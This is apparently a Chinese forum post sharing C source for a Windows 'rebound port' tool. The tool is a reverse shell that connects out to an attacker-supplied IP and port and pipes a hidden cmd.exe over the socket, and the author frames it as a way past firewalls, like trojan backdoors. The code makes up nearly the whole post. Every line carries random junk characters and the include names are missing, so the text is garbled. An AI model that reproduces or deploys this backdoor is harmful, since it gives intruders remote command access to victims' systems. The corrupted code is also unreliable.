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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]8/g[Ii  
P "%f8C~r  
/* ============================== \dJOZ2J<z  
Rebound port in Windows NT TX).*%f [r  
By wind,2006/7 N~~ sM"n  
===============================*/ hMnm>  
#include ;b_l/T(  
#include ?Sr7c|a2  
> PK 6CR  
#pragma comment(lib,"wsock32.lib") u\Y3h:@u  
H*HL:o-[  
void OutputShell(); qPoN 8>.  
SOCKET sClient; bCqTubbx!t  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";  L30$  
$8WWN} OC  
void main(int argc,char **argv) \>[k0<  
{ b} FhC"'i  
WSADATA stWsaData; %ty`Oa2  
int nRet; 7KL@[  
SOCKADDR_IN stSaiClient,stSaiServer; WS//0  
6uIgyO*;k  
if(argc != 3) +t%1FkI\  
{ EhAaaG  
printf("Useage:\n\rRebound DestIP DestPort\n"); {"c`k4R  
return; 6/6{69tnr  
} otbr8&?-  
nzU;Bi^m  
WSAStartup(MAKEWORD(2,2),&stWsaData); xauMF~*  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X& mD/1  
H3L uRGe&2  
stSaiClient.sin_family = AF_INET; b|e1HCH  
stSaiClient.sin_port = htons(0); 9,[A fI  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |y pX O3  
<$??Z;6  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7n,=`0{r  
{ Y_)xytJ$  
printf("Bind Socket Failed!\n"); +U)4V}S)  
return; q_cP<2`@V  
} 1my1m  
8SA" bH:  
stSaiServer.sin_family = AF_INET; [kf6bf@  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0Wj,=9q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /@B2-.w  
c:aW"U   
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :b] \*  
{ G*_qqb{B  
printf("Connect Error!"); q%LjOPE V  
return; mLx=Zes:.  
} #p ;O3E@  
OutputShell(); n?U^vK_  
} ^a<kp69qS  
H: S<O%f  
void OutputShell() ] n\]ao  
{ 3N 5@<:2`  
char szBuff[1024]; }?o4MiLB  
SECURITY_ATTRIBUTES stSecurityAttributes; '{-Ic?F<P  
OSVERSIONINFO stOsversionInfo; W-*HAS  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; nxB[T o*P  
STARTUPINFO stStartupInfo; .yDGwLry  
char *szShell; /b\c<'3NY  
PROCESS_INFORMATION stProcessInformation; 1R;@v3  
unsigned long lBytesRead; O>'tag  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); et"Pb_-U  
nRvaCAt^  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  yj=OR|v  
stSecurityAttributes.lpSecurityDescriptor = 0; \d*ts(/a*  
stSecurityAttributes.bInheritHandle = TRUE; mx#%oJnsi  
H32o7]lT  
9c%CCZ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Wm}gnNwA  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \E[6wB>uN%  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); % m"Qg<  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kv2S&P|jXM  
stStartupInfo.wShowWindow = SW_HIDE; YUHiD *  
stStartupInfo.hStdInput = hReadPipe; SU1N*k#-o  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  i CLH  
TW|- 0  
GetVersionEx(&stOsversionInfo); 7377g'jL  
BeN]D  
switch(stOsversionInfo.dwPlatformId) r6kJV4I=re  
{ DJ*mWi.  
case 1:  "iR:KW@  
szShell = "command.com"; [:(/cKo  
break; ALV(fv$cD  
default: t|mK5aR4  
szShell = "cmd.exe"; bL Sc=f&  
break; ^/6P~iK'  
} I)yF!E &  
@%G?Nht]o  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); w $Fg 0JS  
X&kp1Ih<^  
send(sClient,szMsg,77,0); K7([Gc9  
while(1) DVVyWn[  
{ <_ENC>NP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); shw"TF>?zG  
if(lBytesRead) H\qZu%F'  
{ G|[{\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); O@4J=P=w  
send(sClient,szBuff,lBytesRead,0); PR]b ]=  
} zhm0 J-g  
else CJER&"em7  
{ a+cDH  
lBytesRead=recv(sClient,szBuff,1024,0); gb|;]mk*"  
if(lBytesRead<=0) break; ]%y>l j?Y  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 46pR!k  
} 7~F~'V  
} xQ7U$QF|]  
"l9aBBiu  
return; 1. +6x4%rV  
}
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